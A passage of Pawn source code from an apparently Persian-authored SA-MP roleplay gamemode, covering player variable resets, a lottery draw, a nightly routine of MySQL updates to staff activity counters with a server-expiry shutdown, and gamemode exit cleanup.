	vartimer[playerid] = 0;
	atishrtimer[playerid] = 0;
	Cheating[playerid] = 0;
	TofAll[playerid] = 0;
	PlayerFish[playerid] = 0;
	Trashes[playerid] = 0;
	WantedKamKonTimerValid[playerid] = false;
	OnAshghal[playerid] = 0;
	WantedTimerEZ[playerid] = 0;
	Trashlevel[playerid] = 0;
	OnSellCar[playerid] = INVALID_PLAYER_ID;
	MyPayMin[playerid] = 0;

	locatemashin[playerid] = 0;
	PriceCar[playerid] = 0;
	IWantCar[playerid] = 0;
	TooHouse[playerid] = 9999;
	TooBiz[playerid] = 9999;
	Mahal[playerid] = 9999;
	randomsms[playerid] = 0;
	ManTooCom[playerid] = 0;
	randomsm[playerid] = 0;
	TruckLevel[playerid] = 0;
	TruckAllowed[playerid] = 0;
	PizLevel[playerid] = 0;
	TooPiz[playerid] = 0;
	BusLevel[playerid] = 0;
	BusLevelLV[playerid] = 0;
	ManTooBusam[playerid] = 0;
	ResetPlayerPool(playerid);
	ManMitoonamSkin[playerid] = 0;
	errormessage[playerid] = 0;
	errormessage2[playerid] = 0;
	PlayerInfo[playerid][pLevel] = 0;
	PlayerInfo[playerid][pAdmin] = 0;
	PlayerInfo[playerid][pPremiumAccount] = 0;
	PlayerInfo[playerid][pRobSkill] = 0;
	PlayerInfo[playerid][pRob] = 0;
	Mat[playerid] = 0; weapon[playerid] = 0; ammo[playerid] = 0; GunPricee[playerid] = 0; Tofang[playerid] = 9999;
	PlayerInfo[playerid][pConnectTime] = 0;
	PlayerInfo[playerid][pAFKtime] = 0;
	PlayerInfo[playerid][pReg] = 0;
	PlayerInfo[playerid][pSex] = 0;
	PlayerInfo[playerid][pExp] = 0;
	PlayerInfo[playerid][pAccount] = 0;
	PlayerInfo[playerid][pCrimes] = 0;
	PlayerInfo[playerid][pDeaths] = 0;
	PlayerInfo[playerid][pKills] = 0;
	PlayerInfo[playerid][pArrested] = 0;
	PlayerInfo[playerid][pWantedDeaths] = 0;
	PlayerInfo[playerid][pPhoneBook] = 0;
	PlayerInfo[playerid][pLottoNr] = 0;
	PlayerInfo[playerid][pFishes] = 0;
	PlayerInfo[playerid][pJob] = 0;
	PlayerInfo[playerid][pPayCheck] = 0;
	PlayerInfo[playerid][pHeadValue] = 0;
	PlayerInfo[playerid][pJailTime] = 0;
	PlayerInfo[playerid][pMats] = 0;
	PlayerInfo[playerid][pDrugs] = 0;
	PlayerInfo[playerid][pLeader] = 0;
	PlayerInfo[playerid][pMember] = 0;
	PlayerInfo[playerid][pRank] = 0;
	PlayerInfo[playerid][pPunish] = 0;
	PlayerInfo[playerid][pFwarn] = 0;
	PlayerInfo[playerid][pTow] = 1;
	PlayerInfo[playerid][pSTAFF] = 1;
	PlayerInfo[playerid][cSkin] = 170;
	PlayerInfo[playerid][fSkin] = 0;
	PlayerInfo[playerid][pWalkieTalkie] = 0;
	PlayerInfo[playerid][pMatsSkill] = 1;
	PlayerInfo[playerid][pDetSkill] = 1;
	PlayerInfo[playerid][pLawSkill] = 1;
	PlayerInfo[playerid][pMechSkill] = 1;
	PlayerInfo[playerid][pJackSkill] = 1;
	PlayerInfo[playerid][pNewsSkill] = 1;
	PlayerInfo[playerid][pDrugsSkill] = 1;
	PlayerInfo[playerid][pTeam] = TEAM_CIV;
	PlayerInfo[playerid][pPnumber] = 0;
	PlayerInfo[playerid][pCar_1] = 0;
	PINFO[playerid][pCar_2] = 0;
	PINFO[playerid][pCar_3] = 0;
	PINFO[playerid][pCar_4] = 0;
	PINFO[playerid][pCar_5] = 0;
	PINFO[playerid][pCar_6] = 0;
	PlayerInfo[playerid][pPhousekey] = 9999;
	PlayerInfo[playerid][pPbiskey] = 9999;
	PlayerInfo[playerid][pCarLic] = 0;
	PlayerInfo[playerid][pFlyLic] = 0;
	PlayerInfo[playerid][pBoatLic] = 0;
	PlayerInfo[playerid][pFishLic] = 0;
	PlayerInfo[playerid][pGunLic] = 0;
	PlayerInfo[playerid][pMatsLic] = 0;
	PlayerInfo[playerid][pCarLicS] = 0;
	PlayerInfo[playerid][pFlyLicS] = 0;
	PlayerInfo[playerid][pBoatLicS] = 0;
	PlayerInfo[playerid][pGunLicS] = 0;
	PlayerInfo[playerid][pMatsLic] = 0;
	PlayerInfo[playerid][pCarTime] = 0;
	PlayerInfo[playerid][pPayDayHad] = 0;
	PlayerInfo[playerid][pTut] = 0;
	PlayerInfo[playerid][pWarns] = 0;
	PlayerInfo[playerid][pLighter] = 0;
	PlayerInfo[playerid][pCigarettes] = 0;
	PlayerInfo[playerid][pSpeaker] = 0;
	PINFO[playerid][pBanDays] = 0;
	PlayerInfo[playerid][pRented] = 0;
	PlayerInfo[playerid][pLanguage] = 0;
	PlayerInfo[playerid][pLawyerPoint] = 0;
	PlayerInfo[playerid][pApproval] = 0;
	PlayerInfo[playerid][pWanted] = 0;
	PINFO[playerid][pKillW] = 0;
	PINFO[playerid][pDeathW] = 0;
	PINFO[playerid][pVeh1] = 0;
	PINFO[playerid][pVeh2] = 0;
	PINFO[playerid][pVeh3] = 0;
	PINFO[playerid][pVeh4] = 0;
	PINFO[playerid][pVeh5] = 0;
	PINFO[playerid][pVeh6] = 0;
	PINFO[playerid][pCar_1] = 0;
	PINFO[playerid][pCar_2] = 0;
	PINFO[playerid][pCar_3] = 0;
	PINFO[playerid][pCar_4] = 0;
	PINFO[playerid][pCar_5] = 0;
	PINFO[playerid][pCar_6] = 0;
	ClearMarriage(playerid);
	SetPlayerColor(playerid,COLOR_GRAD2);



	return 1;

}
/*----------------------------------------------------------------------------*/
public ClearMarriage(playerid)
{
	if(IsPlayerConnected(playerid))
	{
	   new string[MAX_PLAYER_NAME];
	   format(string, sizeof(string), "No-one");
	   strmid(PlayerInfo[playerid][pMarriedTo], string, 0, strlen(string), 255);
	   SaveKonStr(playerid, "pMarriedTo", PINFO[playerid][pMarriedTo]);
	}
	return 1;
}

forward CheckMultiAccount(playerid);
public CheckMultiAccount(playerid)
{

	new PName[MAX_PLAYER_NAME];
	GetPlayerName(playerid, PName, sizeof(PName));
	new SendAdmins[144];
	ForEachPlayer(i)
	{
	if(!strcmp(PName,PINFO[i][pName]) && playerid != i && !isnull(PINFO[i][pName]))
	{
	KickWithMessage(playerid,COL_SYN,"Server couldn't sync you.");
	format(SendAdmins, sizeof(SendAdmins), "{FFFFFF}Player %s has kicked from the server by AdmBot with reason: Unacceptable nickname.",PName);
	AdminWarn(SendAdmins);
	}
	}

	return 1;
}

/*----------------------------------------------------------------------------*/
public Lotto(number)
{
	new JackpotFallen = 0;
	new string[256];
	new winner[MAX_PLAYER_NAME];
	format(string, sizeof(string), "Lottery News: Today winner: %d.", number);
	OOCOff(COLOR_RED, string);
	for(new i = 0; i < Akharish; i++)
	{
	   if(IsPlayerConnected(i))
	   {
		  if(PlayerInfo[i][pLottoNr] > 0)
		  {
			 if(PlayerInfo[i][pLottoNr] == number)
			 {
				JackpotFallen = 1;
				GetPlayerName(i, winner, sizeof(winner));
				format(string, sizeof(string), "Lottery News: %s got $%s money.", winner, FormatNumber(Jackpot));
				OOCOff(COLOR_DBLUE, string);
				format(string, sizeof(string), "Lottery News: You got $%s.", FormatNumber(Jackpot));
				SendMessage(i, COLOR_YELLOW, string);
				GivePlayerPool(i, Jackpot);
			 }
			 else
			 {
				SendMessage(i, COLOR_DBLUE, "Lottery News: You are not winner.");
			 }
		  }
	   }
	}
	if(JackpotFallen)
	{
	   new rand = random(1250); rand += 180;
	   Jackpot = rand;
	   SaveStuff();
	   format(string, sizeof(string), "Lottery News: The Jackpot has been raised to $%s.", FormatNumber(Jackpot));
	   OOCOff(COLOR_WHITE, string);
	}
	else
	{
	   new rand = random(150); rand += 60;
	   Jackpot += rand;
	   SaveStuff();
	   format(string, sizeof(string), "Lottery News: The Jackpot has been raised to $%s.", FormatNumber(Jackpot));
	   OOCOff(COLOR_DBLUE, string);
	}
	return 1;
}
stock GetDayName(d=0,m=0,y=0) {
			/*
			0=Invalid date
			1=Sunday
			2=Monday
			...
			7=Saturday
			*/
			if(d==0&&m==0&&y==0) { //set to today if no values passed
				getdate(y, m, d);
			}

			new month[] = {31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31},
				i;

			if (y % 4 == 0 && (y % 100 != 0 || y % 400 == 0))
				month[1] = 29;

			if (y < 1900 || m < 1 || m > 12 || d < 1 || d > month[m - 1])
				return 0;

			for (i = 1900; i < y; i++) {
				if (i % 4 == 0 && (i % 100 != 0 || i % 400 == 0))
					d += 366;
				else
					d += 365;
			}

			for (i = 0; i < m - 1; i++) {
				d += month[i];
			}

			return d%7+1;
}
/*----------------------------------------------------------------------------*/
public settime()
{
		new Get[6],Rooz[128];
		new doday=GetDayName();
		if(doday == 1) Rooz="Sunday";
		if(doday == 2) Rooz="Monday";
		if(doday == 3) Rooz="Tuesday";
		if(doday == 4) Rooz="Wednesday";
		if(doday == 5) Rooz="Thursday";
		if(doday == 6) Rooz="Friday";
		if(doday == 7) Rooz="Suturday";
		gettime(Get[3],Get[4],Get[5]);
		getdate(Get[0],Get[1],Get[2]);

		//format( string , 128 , "%02d/%02d/%02d~n~%02d:%02d:%02d", Get[2], Get[1], Get[0], Get[3] , Get[4] , Get[5]);
	   //TextDrawSetString(Clock1 , string);
	   
		// New Clock
	   new strings[256],year,month,day,hourss,minutess,seconds;
	   getdate(year, month, day), gettime(hourss, minutess, seconds);
	   format(strings, sizeof strings, "%s%d-%s%d-%s%d",(year < 10) ? ("0") : (""), year, ((month < 10) ? ("0") : ("")), month, (day < 10) ? ("0") : (""), day);
	   TextDrawSetString(Date, strings);
	   format(strings, sizeof strings, "%s%d:%s%d", (hourss < 10) ? ("0") : (""), hourss, (minutess < 10) ? ("0") : (""), minutess);
	   TextDrawSetString(Time, strings);
	   
	   
	   
		//format( string , 128 , "%s" , Rooz);
		//TextDrawSetString(Day1 , string);

		new hours = Get[3];
		new minutes = Get[4];
		if(hours == 23 && minutes == 1) {
		emruzt = 0;
		}
		if(hours == 0 && emruzt == 0) {
		emruzt = 1;
		FixCC();
		FixDay();
		mysql_tquery(handle, "UPDATE `users` SET `pPDay` = `pPDay`-'1' WHERE `pPDay` > '0' AND `pPDay` != '9999'", "SendQuery", "");
		mysql_tquery(handle, "UPDATE `users` SET `pHDay` = `pHDay`-'1' WHERE `pHDay` > '0' AND `pHDay` != '9999'", "SendQuery", "");
		mysql_tquery(handle, "UPDATE `users` SET `pSDay` = `pSDay`-'1' WHERE `pSDay` > '0' AND `pSDay` != '9999'", "SendQuery", "");
		if(ExpireToggle == 1 && ExpireDays >= 1)
		{
		ExpireDays--;
		SaveStuff();
		}
		// New Activity by SiNaGaMeR har shab saat 12:00 be bad hame pact haro set mikone 0
		
	   new query[512];
	   // Admins Activity
	   mysql_format(handle, query,512,"UPDATE `users` SET pActA='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   // Helpers Activity
	   mysql_format(handle, query,512,"UPDATE `users` SET pActH='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   // Leaders Acitivity
	   mysql_format(handle, query,512,"UPDATE `users` SET pActL='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   // all
/*
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'1' WHERE pActHour='3'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'2' WHERE pActHour='4'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'3' WHERE pActHour='5'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour>='6'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   */

	   mysql_format(handle, query,512,"UPDATE `users` SET `pMinedToday`='0.0' WHERE `pMinedToday`!='0.0'");
	   mysql_function_query(handle,query,false,"SendQuery","");



	   
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'1' WHERE pActHour='3' AND pAdmin>='1' AND pHelper>='1' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'2' WHERE pActHour='4' AND pAdmin>='1' AND pHelper>='1' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'3' WHERE pActHour='5' AND pAdmin>='1' AND pHelper>='1' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour>='6' AND pAdmin>='1' AND pHelper>='1' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'1' WHERE pActHour='3' AND pAdmin>='1' AND pHelper>='1' AND pLeader='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'2' WHERE pActHour='4' AND pAdmin>='1' AND pHelper>='1' AND pLeader='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'3' WHERE pActHour='5' AND pAdmin>='1' AND pHelper>='1' AND pLeader='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour>='6' AND pAdmin>='1' AND pHelper>='1' AND pLeader='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'1' WHERE pActHour='3' AND pAdmin>='1' AND pHelper='0' AND pLeader='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'2' WHERE pActHour='4' AND pAdmin>='1' AND pHelper='0' AND pLeader='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'3' WHERE pActHour='5' AND pAdmin>='1' AND pHelper='0' AND pLeader='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour>='6' AND pAdmin>='1' AND pHelper='0' AND pLeader='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");

	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'1' WHERE pActHour='3' AND pAdmin>='1' AND pHelper='0' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'2' WHERE pActHour='4' AND pAdmin>='1' AND pHelper='0' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'3' WHERE pActHour='5' AND pAdmin>='1' AND pHelper='0' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour>='6' AND pAdmin>='1' AND pHelper='0' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");






	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'1' WHERE pActHour='3' AND pAdmin='0' AND pHelper>='1' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'2' WHERE pActHour='4' AND pAdmin='0' AND pHelper>='1' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'3' WHERE pActHour='5' AND pAdmin='0' AND pHelper>='1' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour>='6' AND pAdmin='0' AND pHelper>='1' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");

	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'1' WHERE pActHour='3' AND pAdmin='0' AND pHelper>='1' AND pLeader='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'2' WHERE pActHour='4' AND pAdmin='0' AND pHelper>='1' AND pLeader='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'3' WHERE pActHour='5' AND pAdmin='0' AND pHelper>='1' AND pLeader='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour>='6' AND pAdmin='0' AND pHelper>='1' AND pLeader='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");


	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'1' WHERE pActHour='3' AND pAdmin='0' AND pHelper='0' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'2' WHERE pActHour='4' AND pAdmin='0' AND pHelper='0' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'3' WHERE pActHour='5' AND pAdmin='0' AND pHelper='0' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour>='6' AND pAdmin='0' AND pHelper='0' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");



	   /*mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour='7'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour='8'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour='9'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour='10'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour='11'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour='12'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour='13'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour='14'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour='15'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour='16'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour='17'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour='18'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour='19'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour='20'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour='21'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour='22'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour='23'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays+'4' WHERE pActHour='24'");
	   mysql_function_query(handle,query,false,"SendQuery","");*/
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays-'1' WHERE pActHour='2' AND pAdmin>='1' AND pHelper>='1' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays-'1' WHERE pActHour='1' AND pAdmin>='1' AND pHelper>='1' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays-'1' WHERE pActHour='0' AND pAdmin>='1' AND pHelper>='1' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");

	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays-'1' WHERE pActHour='2' AND pAdmin>='1' AND pHelper>='1' AND pLeader='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays-'1' WHERE pActHour='1' AND pAdmin>='1' AND pHelper>='1' AND pLeader='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays-'1' WHERE pActHour='0' AND pAdmin>='1' AND pHelper>='1' AND pLeader='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");

	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays-'1' WHERE pActHour='2' AND pAdmin>='1' AND pHelper='0' AND pLeader='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays-'1' WHERE pActHour='1' AND pAdmin>='1' AND pHelper='0' AND pLeader='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays-'1' WHERE pActHour='0' AND pAdmin>='1' AND pHelper='0' AND pLeader='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");

	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays-'1' WHERE pActHour='2' AND pAdmin>='1' AND pHelper='0' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays-'1' WHERE pActHour='1' AND pAdmin>='1' AND pHelper='0' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays-'1' WHERE pActHour='0' AND pAdmin>='1' AND pHelper='0' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");

	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays-'1' WHERE pActHour='2' AND pAdmin='0' AND pHelper>='1' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays-'1' WHERE pActHour='1' AND pAdmin='0' AND pHelper>='1' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays-'1' WHERE pActHour='0' AND pAdmin='0' AND pHelper>='1' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");

	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays-'1' WHERE pActHour='2' AND pAdmin='0' AND pHelper>='1' AND pLeader='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays-'1' WHERE pActHour='1' AND pAdmin='0' AND pHelper>='1' AND pLeader='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays-'1' WHERE pActHour='0' AND pAdmin='0' AND pHelper>='1' AND pLeader='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");

	   //mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays-'1' WHERE pActHour='2' AND pAdmin='0' AND pHelper='0' AND pLeader='0'");
	   //mysql_function_query(handle,query,false,"SendQuery","");
	   //mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays-'1' WHERE pActHour='1' AND pAdmin='0' AND pHelper='0' AND pLeader='0'");
	   //mysql_function_query(handle,query,false,"SendQuery","");
	   //mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays-'1' WHERE pActHour='0' AND pAdmin='0' AND pHelper='0' AND pLeader='0'");
	   //mysql_function_query(handle,query,false,"SendQuery","");

	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays-'1' WHERE pActHour='2' AND pAdmin='0' AND pHelper='0' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays-'1' WHERE pActHour='1' AND pAdmin='0' AND pHelper='0' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pStaffDays=pStaffDays-'1' WHERE pActHour='0' AND pAdmin='0' AND pHelper='0' AND pLeader>='1'");
	   mysql_function_query(handle,query,false,"SendQuery","");

	   mysql_format(handle, query,512,"UPDATE `users` SET pActHour='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pActMin='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   mysql_format(handle, query,512,"UPDATE `users` SET pActSec='0'");
	   mysql_function_query(handle,query,false,"SendQuery","");
	   
	   
	   
		ForEachPlayer(i) {
		PlayerInfo[i][pStaffDays] = PINFO[i][pStaffDays];
		PlayerInfo[i][pActA] = PINFO[i][pActA];
		PlayerInfo[i][pActH] = PINFO[i][pActH];
		PlayerInfo[i][pActHour] = PINFO[i][pActHour];
		PlayerInfo[i][pActMin] = PINFO[i][pActMin];
		PlayerInfo[i][pActSec] = PINFO[i][pActSec];
		}
		if(ExpireToggle == 1 && ExpireDays <= 0)
		{
		SetTimer("SVExitKon", 1000, 0);
	    print("Server expired. Countdown to turn off the server started.");
		}
	   
	   
	   
	   
	   
	   
	   
	   
	   
	   

		}

}
/*----------------------------------------------------------------------------*/
public OnGameModeExit()
{

	new query[300];
	mysql_format(handle, query,256,"UPDATE `users` SET pOnline='0'");
	mysql_function_query(handle,query,false,"SendQuery","");
    for(new i = 1; i < sizeof(MeetInfo); i++)
    {
    mysql_format(handle, query,300,"UPDATE `meetings` SET `mYear`='%d',`mMonth`='%d',`mDay`='%d',`mHour`='%d',`mMinute`='%d',`mSecond`='%d',`mMeeting`='%d' WHERE `mFaction`='%d' AND `mMeeting`='1'", MeetInfo[i][mYear], MeetInfo[i][mMonth], MeetInfo[i][mDay], MeetInfo[i][mHour], MeetInfo[i][mMinute], MeetInfo[i][mSecond], MeetInfo[i][mMeeting], i);
	mysql_function_query(handle,query,false,"SendQuery","");
	}
	DestroyDynamicObject(lift_object_id[0]);
	DestroyDynamicObject(lift_object_id[1]);
	FCNPC_Destroy(NPCLS);
	FCNPC_Destroy(NPCLV);
	FCNPC_Destroy(NPCSF);
	mysql_close(handle);
	for(new i = 0; i < sizeof(ToysGTD); i++)TextDrawDestroy(ToysGTD[i]);
	return 1;
}
public RemoveVehicleComponentEx(vehid, cid)
{
	return RemoveVehicleComponent(vehid, cid);
}
stock AddSnowObject(modelid, Float:x, Float:y, Float:z, Float:rx, Float:ry, Float:rz, Float:d_stream = 200.0)
{
	new
			object = CreateDynamicObject(modelid, (x + 0.075), (y + 0.15), (z + 0.15), rx, ry, rz, .streamdistance = d_stream);
	for(new a = 0; a < 30; a++)
		SetDynamicObjectMaterial(object, a, 17944, "lngblok_lae2", "white64bumpy");
	return object;
}
stock ACC_MoveLift(lift, updown=-1, Float:speed=1.0)
{
	   if(lift != 0 && lift != 1)
	   {
			 printf("Invalid lift ID passed to ACC_MoveLift (%i)", lift);
			 return -1;
	   }

	   new Float:lift_speed = speed;
	   if(speed == 0.0) lift_speed = 1.0; // If speed was set to 0, set it to 1

	   if(lift == 0)
	   {
			 switch(updown)
			 {
				case -1: // Move depending on current status
				{
					if(lift_status[0] == LIFT_STATUS_UP || lift_status[0] == LIFT_STATUS_RISING) // If it's rising or up
					{
					   StopDynamicObject(lift_object_id[0]);
					   MoveDynamicObject(lift_object_id[0], lift_coords[0][3], lift_coords[0][4], lift_coords[0][5], lift_speed); // Lower it
